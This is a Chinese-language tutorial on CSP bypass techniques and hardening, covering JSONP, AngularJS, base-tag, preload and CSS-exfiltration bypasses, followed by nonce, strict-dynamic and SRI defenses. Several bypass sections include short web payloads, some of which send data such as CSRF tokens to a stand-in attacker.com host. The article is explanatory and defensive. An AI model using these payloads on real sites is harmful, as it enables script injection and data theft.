CSP(内容安全策略)绕过技术分析与防护(进阶篇)
字数 4801 2025-12-07 23:57:59
CSP(内容安全策略)绕过技术分析与防护(进阶篇)
1. 描述
CSP(内容安全策略)是一种重要的安全机制,允许网站通过HTTP响应头定义浏览器应如何加载或执行资源。其核心是通过白名单策略限制脚本、样式、图片、字体等资源的来源,是防御XSS攻击的关键防线。然而,攻击者常利用CSP策略的配置缺陷、解析不一致性或浏览器特性,实现策略绕过,从而在受CSP保护的站点上执行恶意代码。本专题将深入分析CSP绕过技术的原理、常见模式及其防护方案。
2. 核心概念与CSP指令回顾
- CSP响应头示例:
Content-Security-Policy: script-src 'self' https://trusted.com; - 关键指令:
script-src:控制JavaScript的执行来源。default-src:为其他指令提供默认值。style-src:控制样式表。img-src:控制图片。connect-src:控制XHR、Fetch、WebSocket等连接目标。frame-src:控制frame/iframe嵌入。object-src:控制<object>、<embed>、<applet>。base-uri:限制<base>标签的URL。report-uri/report-to:指定违规报告发送地址。
- 关键源表达式:
'none':禁止任何来源。'self':仅允许同源(协议+主机+端口)。'unsafe-inline':允许内联脚本/样式(严重削弱防护)。'unsafe-eval':允许eval()、setTimeout(string)等。'strict-dynamic':信任由已允许脚本动态创建的脚本。
3. 常见CSP绕过技术深度剖析
3.1 利用脚本允许列表中的不安全域名
- 场景:若策略为
script-src 'self' https://cdn.example.com;,且cdn.example.com存在XSS漏洞或允许用户上传/控制内容。 - 攻击:攻击者注入恶意脚本,其src指向
https://cdn.example.com/malicious.js。由于该域名在允许列表中,浏览器会加载并执行恶意脚本。 - 关键点:白名单中的任何第三方域都必须完全受信,否则会成为攻击入口。
3.2 利用JSONP端点或回调函数
- 场景:许多老旧API或第三方服务提供JSONP接口,通过回调参数动态执行JavaScript。
- 攻击:若策略允许某个提供JSONP的域(如
script-src https://api.example.com;),攻击者可构造请求,将回调参数设置为恶意代码。例如:<script src="https://api.example.com/jsonp?callback=alert(document.domain)"></script>。服务器返回alert(document.domain)(...数据...),浏览器将其作为脚本执行。 - 关键点:JSONP本质是将数据包装在函数调用中,若回调函数名可控,则可能执行任意代码。
3.3 利用AngularJS等客户端模板框架(CSP Bypass via Angular)
- 场景:站点使用AngularJS,且CSP未禁用
unsafe-eval,或Angular运行在CSP的“沙盒”模式下。 - 攻击:AngularJS的模板语法
{{ }}可在沙盒内执行JavaScript。通过构造特定Payload,如{{$eval.constructor('alert(1)')()}},可利用Angular的$eval服务执行代码。即使CSP禁止unsafe-eval,旧版Angular的CSP绕过技术(如利用<iframe srcdoc>)也可能生效。 - 关键点:客户端模板引擎的表达式解析可能被滥用为代码执行。
3.4 利用<link>标签的预加载与rel属性
- 场景:CSP策略较宽松,如
default-src 'self'; style-src 'self' 'unsafe-inline';。 - 攻击:
- 通过
<link rel="preload" as="script">:若connect-src或default-src允许攻击者控制的域,攻击者可注入<link rel="preload" href="https://attacker.com/steal.php?c=" as="script">。当页面发生导航或表单提交时,某些浏览器可能会将当前页面的一部分数据(如Cookie)作为Referrer附加到该预加载请求的URL上,导致信息泄露。 - 通过
<link rel="stylesheet" href="...">和CSS注入:如果允许style-src 'unsafe-inline'或允许某个可控域,攻击者可注入恶意CSS,结合CSS选择器(如input[name="csrf"][value^="a"] { background: url(//attacker.com/a); })通过背景图URL外传数据(CSS键盘记录器攻击)。但这通常需要用户交互。
- 通过
- 关键点:非脚本资源加载机制可能被用于信息泄露。
3.5 利用<base>标签进行代码注入
- 场景:CSP策略中
base-uri未设置或限制不严,且页面存在可控制的<script>标签的src属性使用了相对路径。 - 攻击:攻击者注入
<base href="https://attacker.com/">。当页面加载一个相对路径的脚本如<script src="/static/valid.js">时,浏览器会将其解析为https://attacker.com/static/valid.js,从而从攻击者服务器加载恶意脚本。 - 关键点:
base-uri指令必须被正确设置(如base-uri 'self')以防止此攻击。
3.6 利用iframe沙盒与CSP的交互
- 场景:页面内嵌了具有
sandbox属性的<iframe>,且该iframe的CSP策略较弱。 - 攻击:若父页面CSP允许
frame-src包含任意域,攻击者可注入一个指向其控制页面的iframe。该iframe页面可以拥有自己的、更弱的CSP策略,甚至允许执行脚本。然后通过postMessage等方式与父页面通信,间接影响父页面。 - 关键点:嵌入式内容的CSP策略独立于父页面,可能成为薄弱环节。
3.7 利用报告端点(report-uri)进行注入
- 场景:CSP设置了
report-uri https://example.com/report;,且该报告端点存在XSS、开放重定向或HTML注入漏洞。 - 攻击:攻击者故意触发CSP违规,并在违规数据(如被阻止的脚本代码)中嵌入恶意Payload。当浏览器发送JSON格式的违规报告到
report-uri时,如果该端点没有正确处理和转义报告数据,就可能执行XSS。这通常需要报告端点本身存在漏洞。 - 关键点:CSP报告机制本身也可能引入安全风险。
3.8 利用浏览器差异与解析Bug
- 场景:不同浏览器(或版本)对CSP指令的解析存在差异,或存在已知的解析Bug。
- 攻击:历史上存在过多种浏览器特定的CSP绕过,例如:
- 某些浏览器对
script-src中*通配符的处理有误。 - 对
data:协议、mediastream:等特殊协议的处理不一致。 - 对
<script>标签type属性为text/template、text/plain等的脚本仍予执行。
- 某些浏览器对
- 关键点:保持浏览器和CSP解析库的更新至关重要。
4. 高级防护策略与最佳实践
4.1 制定健壮的CSP策略
- 采用严格的白名单:只允许绝对必要的源。避免使用
*、data:、blob:、filesystem:、mediastream:等宽泛或危险的源,除非确有必要。 - 消除
unsafe-inline:- 为所有内联脚本/样式生成哈希(如
sha256-...)或随机数(nonce-...),并将哈希或随机数加入策略。这是防御XSS最有效的部分。 - 示例:
script-src 'self' 'nonce-r4nd0m123';,对应的脚本标签为<script nonce="r4nd0m123">。
- 为所有内联脚本/样式生成哈希(如
- 消除
unsafe-eval:避免使用eval()、new Function()、setTimeout(string)等。如有必要,确保其使用场景绝对安全。 - 使用
strict-dynamic:在现代应用中,结合随机数使用'strict-dynamic',可以信任由已授权脚本动态创建的脚本,简化策略管理。- 示例:
script-src 'nonce-r4nd0m123' 'strict-dynamic';。已加载的、带有正确随机数的脚本,可以动态创建并加载其他脚本,而无需将它们全部列在CSP中。
- 示例:
- 正确设置
object-src和base-uri:- 总是显式设置
object-src,建议为object-src 'none';,防止通过Flash、Java小程序等注入。 - 总是显式设置
base-uri,建议为base-uri 'self'或'none'。
- 总是显式设置
4.2 实施纵深防御
- 输入验证与输出编码:CSP是最后一道防线,而非唯一防线。始终对用户输入进行严格的验证和清理,并对输出到HTML上下文的数据进行正确的编码。
- 安全的第三方集成:审计所有列入CSP白名单的第三方资源。使用子资源完整性(SRI)来确保第三方脚本/样式的完整性未被篡改。示例:
<script src="https://cdn.example.com/lib.js" integrity="sha256-..."></script>。 - 监控CSP违规报告:部署
report-uri或report-to,并定期分析违规报告。这有助于发现潜在的绕过尝试、策略配置错误或未捕获的XSS漏洞。 - 安全的报告端点:确保接收CSP报告的端点本身不存在XSS、SSRF或其他漏洞,并能安全地处理可能包含恶意代码片段的数据。
4.3 保持更新与测试
- 浏览器与标准更新:关注CSP Level 2/3的新特性,如
require-trusted-types-for(针对DOM XSS)、trusted-types等。保持浏览器和CSP解析器更新。 - 定期审计与渗透测试:使用自动化工具(如CSP Evaluator)和手动测试,定期检查CSP策略的有效性。尝试模拟上述绕过技术,验证防护是否到位。
5. 总结
CSP绕过是一个持续演变的攻防领域。有效的防护不仅依赖于一个看似严格的CSP头,更在于深入理解策略指令的语义、浏览器实现细节、以及攻击者可能利用的各个角落(如第三方域、客户端框架、HTML标签语义、浏览器Bug等)。通过采用以随机数/哈希为基础的无内联策略、严格限制源列表、结合strict-dynamic、并辅以SRI和安全开发实践,可以构建一个强健的CSP防御体系,显著提升Web应用对抗XSS等客户端攻击的韧性。同时,持续的监控、审计和更新是应对新绕过手法的必要手段。